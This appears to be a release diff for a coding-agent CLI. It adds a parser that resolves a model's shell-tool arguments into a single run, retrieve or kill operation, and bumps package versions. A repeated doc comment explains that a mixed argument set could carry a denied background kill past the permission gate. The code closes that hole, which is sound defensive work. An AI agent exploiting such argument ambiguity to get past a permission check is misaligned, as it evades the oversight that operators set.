type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
@@ -0,0 +1,34 @@
1
+ /**
2
+ * The one shell operation a set of tool arguments requests.
3
+ *
4
+ * The shell schema advertises a flat bag of fields because providers ignore
5
+ * `anyOf` (see `toolUnion` in `contract.ts`). That advertisement cannot enforce
6
+ * anything: a model may send any combination of fields, and it does. Consumers
7
+ * that each re-read the raw bag disagreed about which operation a mixed call
8
+ * requested — permissions keyed on `command`, execution keyed on `handle` — so
9
+ * an allowed command could carry a denied background kill past the gate.
10
+ *
11
+ * Parse once, here, and let permissions, execution, display, and evidence all
12
+ * read the same answer.
13
+ */
14
+ export type ShellOperation = {
15
+ kind: "run";
16
+ command: string;
17
+ timeout: number | undefined;
18
+ background: boolean;
19
+ } | {
20
+ kind: "retrieve";
21
+ handle: string;
22
+ } | {
23
+ kind: "kill";
24
+ handle: string;
25
+ };
26
+ export type ShellOperationParse = {
27
+ ok: true;
28
+ operation: ShellOperation;
29
+ } | {
30
+ ok: false;
31
+ reason: string;
32
+ };
33
+ export declare function parseShellOperation(params: unknown): ShellOperationParse;
34
+ //# sourceMappingURL=shell-operation.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"shell-operation.d.ts","sourceRoot":"","sources":["../../../src/core/tools/shell-operation.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AACH,MAAM,MAAM,cAAc,GACvB;IAAE,IAAI,EAAE,KAAK,CAAC;IAAC,OAAO,EAAE,MAAM,CAAC;IAAC,OAAO,EAAE,MAAM,GAAG,SAAS,CAAC;IAAC,UAAU,EAAE,OAAO,CAAA;CAAE,GAClF;IAAE,IAAI,EAAE,UAAU,CAAC;IAAC,MAAM,EAAE,MAAM,CAAA;CAAE,GACpC;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,MAAM,EAAE,MAAM,CAAA;CAAE,CAAC;AAEpC,MAAM,MAAM,mBAAmB,GAAG;IAAE,EAAE,EAAE,IAAI,CAAC;IAAC,SAAS,EAAE,cAAc,CAAA;CAAE,GAAG;IAAE,EAAE,EAAE,KAAK,CAAC;IAAC,MAAM,EAAE,MAAM,CAAA;CAAE,CAAC;AAqB1G,wBAAgB,mBAAmB,CAAC,MAAM,EAAE,OAAO,GAAG,mBAAmB,CAuDxE","sourcesContent":["/**\n * The one shell operation a set of tool arguments requests.\n *\n * The shell schema advertises a flat bag of fields because providers ignore\n * `anyOf` (see `toolUnion` in `contract.ts`). That advertisement cannot enforce\n * anything: a model may send any combination of fields, and it does. Consumers\n * that each re-read the raw bag disagreed about which operation a mixed call\n * requested — permissions keyed on `command`, execution keyed on `handle` — so\n * an allowed command could carry a denied background kill past the gate.\n *\n * Parse once, here, and let permissions, execution, display, and evidence all\n * read the same answer.\n */\nexport type ShellOperation =\n\t| { kind: \"run\"; command: string; timeout: number | undefined; background: boolean }\n\t| { kind: \"retrieve\"; handle: string }\n\t| { kind: \"kill\"; handle: string };\n\nexport type ShellOperationParse = { ok: true; operation: ShellOperation } | { ok: false; reason: string };\n\n/**\n * Placeholder policy, stated once and applied everywhere.\n *\n * Models routinely populate every advertised field, sending `handle: \"\"` or\n * `timeout: null` beside a real command. A value that is absent, null, or an\n * empty string carries no request and is dropped. A value that would change\n * behaviour if honoured is never dropped: it either selects the operation or,\n * when it belongs to a different operation, makes the call ambiguous.\n */\nfunction meaningful(value: unknown): boolean {\n\treturn value !== undefined && value !== null && value !== \"\";\n}\n\nfunction presentString(value: unknown): string | undefined {\n\treturn typeof value === \"string\" && value.length > 0 ? value : undefined;\n}\n\nconst RUN_HINT = \"Supply `command` to run a command, or `handle` to retrieve or kill a background command.\";\n\nexport function parseShellOperation(params: unknown): ShellOperationParse {\n\tif (typeof params !== \"object\" || params === null) {\n\t\treturn { ok: false, reason: `Shell arguments must be an object. ${RUN_HINT}` };\n\t}\n\tconst raw = params as Record<string, unknown>;\n\tconst command = presentString(raw.command);\n\tconst handle = presentString(raw.handle);\n\tconst wantsKill = raw.kill === true;\n\n\tif (command !== undefined && handle !== undefined) {\n\t\treturn {\n\t\t\tok: false,\n\t\t\treason: `Ambiguous shell call: \\`command\\` and \\`handle\\` request different operations. ${RUN_HINT} Send one, not both.`,\n\t\t};\n\t}\n\n\tif (handle !== undefined) {\n\t\tconst stray: string[] = [];\n\t\tif (typeof raw.timeout === \"number\") stray.push(\"timeout\");\n\t\tif (raw.background === true) stray.push(\"background\");\n\t\tif (stray.length > 0) {\n\t\t\treturn {\n\t\t\t\tok: false,\n\t\t\t\treason: `A background handle call takes only \\`handle\\` and optional \\`kill\\`. Remove: ${stray.join(\", \")}.`,\n\t\t\t};\n\t\t}\n\t\treturn { ok: true, operation: wantsKill ? { kind: \"kill\", handle } : { kind: \"retrieve\", handle } };\n\t}\n\n\tif (command !== undefined) {\n\t\tif (wantsKill) {\n\t\t\treturn {\n\t\t\t\tok: false,\n\t\t\t\treason:\n\t\t\t\t\t\"`kill: true` terminates a background command and requires its `handle`. It cannot be combined with `command`.\",\n\t\t\t};\n\t\t}\n\t\treturn {\n\t\t\tok: true,\n\t\t\toperation: {\n\t\t\t\tkind: \"run\",\n\t\t\t\tcommand,\n\t\t\t\ttimeout: typeof raw.timeout === \"number\" ? raw.timeout : undefined,\n\t\t\t\tbackground: raw.background === true,\n\t\t\t},\n\t\t};\n\t}\n\n\treturn {\n\t\tok: false,\n\t\treason:\n\t\t\t\"handle\" in raw && !meaningful(raw.handle)\n\t\t\t\t? `\\`handle\\` is empty, which is not a background handle. ${RUN_HINT}`\n\t\t\t\t: `Shell call names no operation. ${RUN_HINT}`,\n\t};\n}\n"]}
@@ -0,0 +1,69 @@
1
+ /**
2
+ * Placeholder policy, stated once and applied everywhere.
3
+ *
4
+ * Models routinely populate every advertised field, sending `handle: ""` or
5
+ * `timeout: null` beside a real command. A value that is absent, null, or an
6
+ * empty string carries no request and is dropped. A value that would change
7
+ * behaviour if honoured is never dropped: it either selects the operation or,
8
+ * when it belongs to a different operation, makes the call ambiguous.
9
+ */
10
+ function meaningful(value) {
11
+ return value !== undefined && value !== null && value !== "";
12
+ }
13
+ function presentString(value) {
14
+ return typeof value === "string" && value.length > 0 ? value : undefined;
15
+ }
16
+ const RUN_HINT = "Supply `command` to run a command, or `handle` to retrieve or kill a background command.";
17
+ export function parseShellOperation(params) {
18
+ if (typeof params !== "object" || params === null) {
19
+ return { ok: false, reason: `Shell arguments must be an object. ${RUN_HINT}` };
20
+ }
21
+ const raw = params;
22
+ const command = presentString(raw.command);
23
+ const handle = presentString(raw.handle);
24
+ const wantsKill = raw.kill === true;
25
+ if (command !== undefined && handle !== undefined) {
26
+ return {
27
+ ok: false,
28
+ reason: `Ambiguous shell call: \`command\` and \`handle\` request different operations. ${RUN_HINT} Send one, not both.`,
29
+ };
30
+ }
31
+ if (handle !== undefined) {
32
+ const stray = [];
33
+ if (typeof raw.timeout === "number")
34
+ stray.push("timeout");
35
+ if (raw.background === true)
36
+ stray.push("background");
37
+ if (stray.length > 0) {
38
+ return {
39
+ ok: false,
40
+ reason: `A background handle call takes only \`handle\` and optional \`kill\`. Remove: ${stray.join(", ")}.`,
41
+ };
42
+ }
43
+ return { ok: true, operation: wantsKill ? { kind: "kill", handle } : { kind: "retrieve", handle } };
44
+ }
45
+ if (command !== undefined) {
46
+ if (wantsKill) {
47
+ return {
48
+ ok: false,
49
+ reason: "`kill: true` terminates a background command and requires its `handle`. It cannot be combined with `command`.",
50
+ };
51
+ }
52
+ return {
53
+ ok: true,
54
+ operation: {
55
+ kind: "run",
56
+ command,
57
+ timeout: typeof raw.timeout === "number" ? raw.timeout : undefined,
58
+ background: raw.background === true,
59
+ },
60
+ };
61
+ }
62
+ return {
63
+ ok: false,
64
+ reason: "handle" in raw && !meaningful(raw.handle)
65
+ ? `\`handle\` is empty, which is not a background handle. ${RUN_HINT}`
66
+ : `Shell call names no operation. ${RUN_HINT}`,
67
+ };
68
+ }
69
+ //# sourceMappingURL=shell-operation.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"shell-operation.js","sourceRoot":"","sources":["../../../src/core/tools/shell-operation.ts"],"names":[],"mappings":"AAoBA;;;;;;;;GAQG;AACH,SAAS,UAAU,CAAC,KAAc,EAAW;IAC5C,OAAO,KAAK,KAAK,SAAS,IAAI,KAAK,KAAK,IAAI,IAAI,KAAK,KAAK,EAAE,CAAC;AAAA,CAC7D;AAED,SAAS,aAAa,CAAC,KAAc,EAAsB;IAC1D,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAI,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,SAAS,CAAC;AAAA,CACzE;AAED,MAAM,QAAQ,GAAG,0FAA0F,CAAC;AAE5G,MAAM,UAAU,mBAAmB,CAAC,MAAe,EAAuB;IACzE,IAAI,OAAO,MAAM,KAAK,QAAQ,IAAI,MAAM,KAAK,IAAI,EAAE,CAAC;QACnD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,sCAAsC,QAAQ,EAAE,EAAE,CAAC;IAChF,CAAC;IACD,MAAM,GAAG,GAAG,MAAiC,CAAC;IAC9C,MAAM,OAAO,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;IAC3C,MAAM,MAAM,GAAG,aAAa,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;IACzC,MAAM,SAAS,GAAG,GAAG,CAAC,IAAI,KAAK,IAAI,CAAC;IAEpC,IAAI,OAAO,KAAK,SAAS,IAAI,MAAM,KAAK,SAAS,EAAE,CAAC;QACnD,OAAO;YACN,EAAE,EAAE,KAAK;YACT,MAAM,EAAE,kFAAkF,QAAQ,sBAAsB;SACxH,CAAC;IACH,CAAC;IAED,IAAI,MAAM,KAAK,SAAS,EAAE,CAAC;QAC1B,MAAM,KAAK,GAAa,EAAE,CAAC;QAC3B,IAAI,OAAO,GAAG,CAAC,OAAO,KAAK,QAAQ;YAAE,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;QAC3D,IAAI,GAAG,CAAC,UAAU,KAAK,IAAI;YAAE,KAAK,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;QACtD,IAAI,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACtB,OAAO;gBACN,EAAE,EAAE,KAAK;gBACT,MAAM,EAAE,iFAAiF,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG;aAC5G,CAAC;QACH,CAAC;QACD,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,SAAS,EAAE,SAAS,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,EAAE,CAAC;IACrG,CAAC;IAED,IAAI,OAAO,KAAK,SAAS,EAAE,CAAC;QAC3B,IAAI,SAAS,EAAE,CAAC;YACf,OAAO;gBACN,EAAE,EAAE,KAAK;gBACT,MAAM,EACL,+GAA+G;aAChH,CAAC;QACH,CAAC;QACD,OAAO;YACN,EAAE,EAAE,IAAI;YACR,SAAS,EAAE;gBACV,IAAI,EAAE,KAAK;gBACX,OAAO;gBACP,OAAO,EAAE,OAAO,GAAG,CAAC,OAAO,KAAK,QAAQ,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,SAAS;gBAClE,UAAU,EAAE,GAAG,CAAC,UAAU,KAAK,IAAI;aACnC;SACD,CAAC;IACH,CAAC;IAED,OAAO;QACN,EAAE,EAAE,KAAK;QACT,MAAM,EACL,QAAQ,IAAI,GAAG,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,MAAM,CAAC;YACzC,CAAC,CAAC,0DAA0D,QAAQ,EAAE;YACtE,CAAC,CAAC,kCAAkC,QAAQ,EAAE;KAChD,CAAC;AAAA,CACF","sourcesContent":["/**\n * The one shell operation a set of tool arguments requests.\n *\n * The shell schema advertises a flat bag of fields because providers ignore\n * `anyOf` (see `toolUnion` in `contract.ts`). That advertisement cannot enforce\n * anything: a model may send any combination of fields, and it does. Consumers\n * that each re-read the raw bag disagreed about which operation a mixed call\n * requested — permissions keyed on `command`, execution keyed on `handle` — so\n * an allowed command could carry a denied background kill past the gate.\n *\n * Parse once, here, and let permissions, execution, display, and evidence all\n * read the same answer.\n */\nexport type ShellOperation =\n\t| { kind: \"run\"; command: string; timeout: number | undefined; background: boolean }\n\t| { kind: \"retrieve\"; handle: string }\n\t| { kind: \"kill\"; handle: string };\n\nexport type ShellOperationParse = { ok: true; operation: ShellOperation } | { ok: false; reason: string };\n\n/**\n * Placeholder policy, stated once and applied everywhere.\n *\n * Models routinely populate every advertised field, sending `handle: \"\"` or\n * `timeout: null` beside a real command. A value that is absent, null, or an\n * empty string carries no request and is dropped. A value that would change\n * behaviour if honoured is never dropped: it either selects the operation or,\n * when it belongs to a different operation, makes the call ambiguous.\n */\nfunction meaningful(value: unknown): boolean {\n\treturn value !== undefined && value !== null && value !== \"\";\n}\n\nfunction presentString(value: unknown): string | undefined {\n\treturn typeof value === \"string\" && value.length > 0 ? value : undefined;\n}\n\nconst RUN_HINT = \"Supply `command` to run a command, or `handle` to retrieve or kill a background command.\";\n\nexport function parseShellOperation(params: unknown): ShellOperationParse {\n\tif (typeof params !== \"object\" || params === null) {\n\t\treturn { ok: false, reason: `Shell arguments must be an object. ${RUN_HINT}` };\n\t}\n\tconst raw = params as Record<string, unknown>;\n\tconst command = presentString(raw.command);\n\tconst handle = presentString(raw.handle);\n\tconst wantsKill = raw.kill === true;\n\n\tif (command !== undefined && handle !== undefined) {\n\t\treturn {\n\t\t\tok: false,\n\t\t\treason: `Ambiguous shell call: \\`command\\` and \\`handle\\` request different operations. ${RUN_HINT} Send one, not both.`,\n\t\t};\n\t}\n\n\tif (handle !== undefined) {\n\t\tconst stray: string[] = [];\n\t\tif (typeof raw.timeout === \"number\") stray.push(\"timeout\");\n\t\tif (raw.background === true) stray.push(\"background\");\n\t\tif (stray.length > 0) {\n\t\t\treturn {\n\t\t\t\tok: false,\n\t\t\t\treason: `A background handle call takes only \\`handle\\` and optional \\`kill\\`. Remove: ${stray.join(\", \")}.`,\n\t\t\t};\n\t\t}\n\t\treturn { ok: true, operation: wantsKill ? { kind: \"kill\", handle } : { kind: \"retrieve\", handle } };\n\t}\n\n\tif (command !== undefined) {\n\t\tif (wantsKill) {\n\t\t\treturn {\n\t\t\t\tok: false,\n\t\t\t\treason:\n\t\t\t\t\t\"`kill: true` terminates a background command and requires its `handle`. It cannot be combined with `command`.\",\n\t\t\t};\n\t\t}\n\t\treturn {\n\t\t\tok: true,\n\t\t\toperation: {\n\t\t\t\tkind: \"run\",\n\t\t\t\tcommand,\n\t\t\t\ttimeout: typeof raw.timeout === \"number\" ? raw.timeout : undefined,\n\t\t\t\tbackground: raw.background === true,\n\t\t\t},\n\t\t};\n\t}\n\n\treturn {\n\t\tok: false,\n\t\treason:\n\t\t\t\"handle\" in raw && !meaningful(raw.handle)\n\t\t\t\t? `\\`handle\\` is empty, which is not a background handle. ${RUN_HINT}`\n\t\t\t\t: `Shell call names no operation. ${RUN_HINT}`,\n\t};\n}\n"]}
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "apex-code",
3
- "version": "0.2.0",
3
+ "version": "0.2.1",
4
4
  "lockfileVersion": 3,
5
5
  "requires": true,
6
6
  "packages": {
7
7
  "": {
8
8
  "name": "apex-code",
9
- "version": "0.2.0",
9
+ "version": "0.2.1",
10
10
  "license": "MIT",
11
11
  "dependencies": {
12
12
  "@earendil-works/pi-ai": "^0.84.4",
@@ -16,7 +16,7 @@
16
16
  "@modelcontextprotocol/client": "2.0.0",
17
17
  "@modelcontextprotocol/core": "2.0.0",
18
18
  "@silvia-odwyer/photon-node": "0.3.4",
19
- "apex-code-agent-core": "0.2.0",
19
+ "apex-code-agent-core": "0.2.1",
20
20
  "chalk": "5.6.2",
21
21
  "cross-spawn": "7.0.6",
22
22
  "diff": "9.0.0",
@@ -1100,8 +1100,8 @@
1100
1100
  }
1101
1101
  },
1102
1102
  "node_modules/apex-code-agent-core": {
1103
- "version": "0.2.0",
1104
- "resolved": "https://registry.npmjs.org/apex-code-agent-core/-/apex-code-agent-core-0.2.0.tgz",
1103
+ "version": "0.2.1",
1104
+ "resolved": "https://registry.npmjs.org/apex-code-agent-core/-/apex-code-agent-core-0.2.1.tgz",
1105
1105
  "license": "MIT",
1106
1106
  "dependencies": {
1107
1107
  "@earendil-works/pi-ai": "^0.84.4",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apex-code",
3
- "version": "0.2.0",
3
+ "version": "0.2.1",
4
4
  "description": "Coding agent CLI with read, bash, edit, write tools and session management",
5
5
  "type": "module",
6
6
  "piConfig": {
@@ -50,7 +50,7 @@
50
50
  "@modelcontextprotocol/client": "2.0.0",
51
51
  "@modelcontextprotocol/core": "2.0.0",
52
52
  "@silvia-odwyer/photon-node": "0.3.4",
53
- "apex-code-agent-core": "0.2.0",
53
+ "apex-code-agent-core": "0.2.1",
54
54
  "chalk": "5.6.2",
55
55
  "cross-spawn": "7.0.6",
56
56
  "diff": "9.0.0",